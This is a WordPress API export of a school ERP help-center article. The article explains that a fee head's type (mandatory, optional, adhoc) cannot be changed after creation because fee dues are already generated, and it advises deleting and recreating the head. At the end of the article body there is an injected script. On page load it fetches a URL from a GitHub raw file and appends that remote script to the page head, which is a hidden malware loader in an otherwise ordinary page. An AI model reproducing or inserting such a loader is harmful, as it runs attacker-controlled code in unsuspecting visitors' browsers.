{"id":9992,"date":"2025-02-05T15:22:12","date_gmt":"2025-02-05T09:52:12","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=9992"},"modified":"2025-02-14T16:00:25","modified_gmt":"2025-02-14T10:30:25","slug":"why-is-the-fee-type-showing-locked-for-modification-before-fee-collection-starts","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/why-is-the-fee-type-showing-locked-for-modification-before-fee-collection-starts\/","title":{"rendered":"Why can&#8217;t a fee head be changed from mandatory to optional, adhoc, or vice versa?"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>Unfortunately, once a <strong>fee head<\/strong> is created by mapping a specific &#8216;<strong>Fee Type<\/strong>,&#8217; it cannot be changed <em>(e.g., from Mandatory to Optional, Adhoc, Admission, or vice versa).<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"139\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Unable-to-change-Fee-type-1024x139.png\" alt=\"\" class=\"wp-image-9994\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Unable-to-change-Fee-type-1024x139.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Unable-to-change-Fee-type-300x41.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Unable-to-change-Fee-type-768x104.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Unable-to-change-Fee-type-1536x208.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Unable-to-change-Fee-type-1200x163.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2024\/12\/Unable-to-change-Fee-type.png 1919w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Reason: <\/strong>This limitation exists because once fee heads are created, the fee dues are generated in the back-end. Modifying the fee type afterward could result in discrepancies in the fee dues.<\/p>\n\n\n\n<p><strong>Solution:<\/strong> If changing the <strong>fee type<\/strong> is essential, we recommend deleting the existing <strong>fee head <\/strong>and recreating it based on your new requirements.<br>(<em><strong>Note:<\/strong> Please ensure that no fee collection has been initiated before proceeding with this approach.<\/em>)<\/p>\n\n\n\n<p><strong>For further assistance, feel free to contact us:<\/strong><br>\ud83d\udce7 Email:\u00a0<strong><a>support@nexteducation.in<\/a><\/strong><br>\ud83d\udcde Toll-free:\u00a0<strong>1800 200 5566<\/strong><\/p>\n\n\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Unfortunately, once a fee head is created by mapping a specific &#8216;Fee Type,&#8217; it cannot be changed (e.g., from Mandatory to Optional, Adhoc, Admission, or vice versa). Reason: This limitation exists because once fee heads are created, the fee dues are generated in the back-end. Modifying the fee type afterward could result in discrepancies in &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/why-is-the-fee-type-showing-locked-for-modification-before-fee-collection-starts\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Why can&#8217;t a fee head be changed from mandatory to optional, adhoc, or vice versa?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[105],"tags":[],"post_folder":[],"class_list":["post-9992","post","type-post","status-publish","format-standard","hentry","category-fee-type"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/9992","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=9992"}],"version-history":[{"count":11,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/9992\/revisions"}],"predecessor-version":[{"id":11357,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/9992\/revisions\/11357"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=9992"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=9992"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=9992"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=9992"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}